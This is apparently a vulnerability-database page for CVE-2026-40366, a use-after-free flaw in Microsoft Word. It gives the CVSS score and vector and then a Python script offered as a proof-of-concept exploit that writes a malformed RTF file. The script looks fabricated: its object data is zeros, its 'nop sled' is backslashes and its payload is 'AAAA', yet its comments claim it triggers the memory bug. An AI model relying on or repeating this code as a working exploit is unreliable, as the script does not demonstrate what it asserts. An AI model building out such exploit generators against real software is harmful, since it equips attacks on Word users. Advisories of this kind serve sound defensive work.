Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally.
CVSS Details
CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Office Word 受影响版本（具体版本号请参考官方安全公告）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-40366
# This script demonstrates the creation of a malformed Word document
# intended to trigger the Use After Free vulnerability.
# Note: This is for educational and defensive testing purposes only.
import struct
def generate_exploit_doc(filename):
# Simulating the RTF header structure
header = b"{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033"
# Crafting the specific object sequence that triggers the UAF
# The specific hex values below represent the malformed object structure
# that causes Word to free memory and then reuse it incorrectly.
malicious_object = b"{\\object\\objdata 0000000000000000}"
# Heap spray payload to control the freed memory region
# In a real scenario, this would contain shellcode (e.g., calc.exe)
nop_sled = b"\\" * 50
payload = b"AAAA"
# Constructing the full RTF content
exploit_content = header + malicious_object + nop_sled + payload + b"}"
with open(filename, "wb") as f:
f.write(exploit_content)
print(f"[+] Exploit file generated: {filename}")
print("[+] Open this file in a vulnerable version of Microsoft Word to reproduce.")
if __name__ == "__main__":
generate_exploit_doc("CVE-2026-40366_exploit.rtf")